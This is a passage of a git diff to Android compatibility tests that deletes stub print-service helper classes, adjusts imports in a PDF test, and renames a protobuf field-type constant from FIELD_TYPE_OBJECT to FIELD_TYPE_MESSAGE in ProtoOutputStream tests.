-    private static final ArrayList<Observer> sObservers = new ArrayList<>();
-
-    public static void addObserver(Observer observer) {
-        synchronized (sObservers) {
-            sObservers.add(observer);
-        }
-    }
-
-    public static void clearObservers() {
-        synchronized (sObservers) {
-            sObservers.clear();
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        synchronized (sObservers) {
-            ArrayList<Observer> observers = (ArrayList<Observer>) sObservers.clone();
-
-            for (Observer observer : observers) {
-                observer.onCreate(this);
-            }
-        }
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java b/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
deleted file mode 100644
index 749e8a9..0000000
--- a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.printservice.PrintJob;
-
-public abstract class PrintServiceCallbacks {
-
-    private StubbablePrintService mService;
-
-    public StubbablePrintService getService() {
-        return mService;
-    }
-
-    public void setService(StubbablePrintService service) {
-        mService = service;
-    }
-
-    public abstract PrinterDiscoverySessionCallbacks onCreatePrinterDiscoverySessionCallbacks();
-
-    public abstract void onRequestCancelPrintJob(PrintJob printJob);
-
-    public abstract void onPrintJobQueued(PrintJob printJob);
-}
diff --git a/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java b/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java
deleted file mode 100644
index ebddda1..0000000
--- a/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.os.CancellationSignal;
-import android.print.PrinterId;
-import android.printservice.CustomPrinterIconCallback;
-
-import java.util.List;
-
-public abstract class PrinterDiscoverySessionCallbacks {
-
-    private StubbablePrinterDiscoverySession mSession;
-
-    public void setSession(StubbablePrinterDiscoverySession session) {
-        mSession = session;
-    }
-
-    public StubbablePrinterDiscoverySession getSession() {
-        return mSession;
-    }
-
-    public abstract void onStartPrinterDiscovery(List<PrinterId> priorityList);
-
-    public abstract void onStopPrinterDiscovery();
-
-    public abstract void onValidatePrinters(List<PrinterId> printerIds);
-
-    public abstract void onStartPrinterStateTracking(PrinterId printerId);
-
-    public abstract void onRequestCustomPrinterIcon(PrinterId printerId,
-            CancellationSignal cancellationSignal, CustomPrinterIconCallback callback);
-
-    public abstract void onStopPrinterStateTracking(PrinterId printerId);
-
-    public abstract void onDestroy();
-}
diff --git a/tests/tests/print/src/android/print/cts/services/SecondPrintService.java b/tests/tests/print/src/android/print/cts/services/SecondPrintService.java
deleted file mode 100644
index 1029a8e..0000000
--- a/tests/tests/print/src/android/print/cts/services/SecondPrintService.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-public class SecondPrintService extends StubbablePrintService {
-
-    private static final Object sLock = new Object();
-
-    private static PrintServiceCallbacks sCallbacks;
-
-    public static void setCallbacks(PrintServiceCallbacks callbacks) {
-        synchronized (sLock) {
-            sCallbacks = callbacks;
-        }
-    }
-
-    @Override
-    protected PrintServiceCallbacks getCallbacks() {
-        synchronized (sLock) {
-            if (sCallbacks != null) {
-                sCallbacks.setService(this);
-            }
-            return sCallbacks;
-        }
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java b/tests/tests/print/src/android/print/cts/services/SettingsActivity.java
deleted file mode 100644
index eb23574..0000000
--- a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class SettingsActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java b/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
deleted file mode 100644
index 8c3b89b..0000000
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.content.Context;
-import android.printservice.PrintJob;
-import android.printservice.PrintService;
-import android.printservice.PrinterDiscoverySession;
-
-import java.util.List;
-
-public abstract class StubbablePrintService extends PrintService {
-
-    @Override
-    public PrinterDiscoverySession onCreatePrinterDiscoverySession() {
-        PrintServiceCallbacks callbacks = getCallbacks();
-        if (callbacks != null) {
-            return new StubbablePrinterDiscoverySession(this,
-                    getCallbacks().onCreatePrinterDiscoverySessionCallbacks());
-        }
-        return null;
-    }
-
-    @Override
-    public void onRequestCancelPrintJob(PrintJob printJob) {
-        PrintServiceCallbacks callbacks = getCallbacks();
-        if (callbacks != null) {
-            callbacks.onRequestCancelPrintJob(printJob);
-        }
-    }
-
-    @Override
-    public void onPrintJobQueued(PrintJob printJob) {
-        PrintServiceCallbacks callbacks = getCallbacks();
-        if (callbacks != null) {
-            callbacks.onPrintJobQueued(printJob);
-        }
-    }
-
-    protected abstract PrintServiceCallbacks getCallbacks();
-
-    public void callAttachBaseContext(Context base) {
-        attachBaseContext(base);
-    }
-
-    public List<PrintJob> callGetActivePrintJobs() {
-        return getActivePrintJobs();
-    }
-
-}
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java b/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
deleted file mode 100644
index e0ec1c1..0000000
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.support.annotation.NonNull;
-import android.os.CancellationSignal;
-import android.print.PrinterId;
-import android.printservice.CustomPrinterIconCallback;
-import android.printservice.PrintService;
-import android.printservice.PrinterDiscoverySession;
-
-import java.util.List;
-
-public class StubbablePrinterDiscoverySession extends PrinterDiscoverySession {
-    private final PrintService mService;
-    private final PrinterDiscoverySessionCallbacks mCallbacks;
-
-    public StubbablePrinterDiscoverySession(PrintService service,
-            PrinterDiscoverySessionCallbacks callbacks) {
-        mService = service;
-        mCallbacks = callbacks;
-        if (mCallbacks != null) {
-            mCallbacks.setSession(this);
-        }
-    }
-
-    public PrintService getService() {
-        return mService;
-    }
-
-    @Override
-    public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
-        if (mCallbacks != null) {
-            mCallbacks.onStartPrinterDiscovery(priorityList);
-        }
-    }
-
-    @Override
-    public void onStopPrinterDiscovery() {
-        if (mCallbacks != null) {
-            mCallbacks.onStopPrinterDiscovery();
-        }
-    }
-
-    @Override
-    public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {
-        if (mCallbacks != null) {
-            mCallbacks.onValidatePrinters(printerIds);
-        }
-    }
-
-    @Override
-    public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {
-        if (mCallbacks != null) {
-            mCallbacks.onStartPrinterStateTracking(printerId);
-        }
-    }
-
-    @Override
-    public void onRequestCustomPrinterIcon(@NonNull PrinterId printerId,
-            @NonNull CancellationSignal cancellationSignal,
-            @NonNull CustomPrinterIconCallback callback) {
-        if (mCallbacks != null) {
-            mCallbacks.onRequestCustomPrinterIcon(printerId, cancellationSignal, callback);
-        }
-    }
-
-    @Override
-    public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {
-        if (mCallbacks != null) {
-            mCallbacks.onStopPrinterStateTracking(printerId);
-        }
-    }
-
-    @Override
-    public void onDestroy() {
-        if (mCallbacks != null) {
-            mCallbacks.onDestroy();
-        }
-    }
-}
diff --git a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
index 344bcfc..4c2b369 100644
--- a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
+++ b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
@@ -16,6 +16,10 @@
 
 package android.print.pdf.cts;
 
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+
 import android.content.Context;
 import android.graphics.Rect;
 import android.graphics.pdf.PdfDocument;
@@ -23,13 +27,11 @@
 import android.print.pdf.PrintedPdfDocument;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
+
 import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static android.print.cts.Utils.assertException;
-import static org.junit.Assert.assertEquals;
-
 /**
  * Tests {@link PrintedPdfDocument}. This class is a subclass of {@link PdfDocument}, hence only the
  * overridden methods are tested.
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
index fb23607..8178b46 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
@@ -79,7 +79,7 @@
         final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
 
         long token = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(2,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
@@ -106,7 +106,7 @@
         final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
 
         long token = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(5000,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 '\u3110');
@@ -138,7 +138,7 @@
                 'a');
 
         long token = po.startObject(ProtoOutputStream.makeFieldId(2,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(3,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
@@ -177,7 +177,7 @@
         final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
 
         long token = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endObject(token);
 
         Assert.assertArrayEquals(new byte[0], po.getBytes());
@@ -199,11 +199,11 @@
         final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(2,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         long token3 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endObject(token3);
         po.endObject(token2);
         po.endObject(token1);
@@ -231,7 +231,7 @@
                 'a');
 
         long token = po.startObject(ProtoOutputStream.makeFieldId(2,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endObject(token);
 
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
@@ -263,11 +263,11 @@
         long token;
 
         token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endRepeatedObject(token);
 
         token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endRepeatedObject(token);
 
         Assert.assertArrayEquals(new byte[] {
@@ -299,7 +299,7 @@
                 'x');
 
         long token = po.startObject(ProtoOutputStream.makeFieldId(2,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(3,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'y');
@@ -308,7 +308,7 @@
                 "abcdefghijkl");
 
         long tokenEmpty = po.startObject(ProtoOutputStream.makeFieldId(500,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endObject(tokenEmpty);
 
         po.endObject(token);
@@ -349,19 +349,19 @@
         final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(2,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'a');
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
 
         long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(6,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'c');
@@ -394,13 +394,13 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(2,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'a');
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
@@ -422,10 +422,10 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         po.endObject(token2);
         try {
@@ -444,13 +444,13 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(2,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'a');
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
@@ -472,10 +472,10 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         po.endObject(token2);
         try {
@@ -494,13 +494,13 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(2,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'a');
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
@@ -521,10 +521,10 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         try {
             po.endObject(token1);
@@ -542,20 +542,20 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(2,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'a');
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
         po.endObject(token2);
 
         long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeUInt32(ProtoOutputStream.makeFieldId(4,
                     ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
                 'b');
@@ -576,14 +576,14 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endObject(token2);
 
         long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         try {
             po.endObject(token2);
@@ -601,14 +601,14 @@
         final ProtoOutputStream po = new ProtoOutputStream();
 
         long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.endObject(token2);
 
         long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
 
         try {
             po.endObject(token2);
@@ -638,17 +638,17 @@
         all.nestedField.nested.nested.data = 3;
 
         final long token1 = po.startObject(ProtoOutputStream.makeFieldId(170,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeInt32(ProtoOutputStream.makeFieldId(10001,
                         ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
                 1);
         final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeInt32(ProtoOutputStream.makeFieldId(10001,
                         ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
                 2);
         final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
-                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
         po.writeInt32(ProtoOutputStream.makeFieldId(10001,
                         ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
                 3);
@@ -680,17 +680,17 @@
             all.nestedFieldRepeated[i].nested.nested.data = 3;
 
             final long token1 = po.startObject(ProtoOutputStream.makeFieldId(171,
-                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
             po.writeInt32(ProtoOutputStream.makeFieldId(10001,
                         ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
                     1);
             final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
-                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
             po.writeInt32(ProtoOutputStream.makeFieldId(10001,
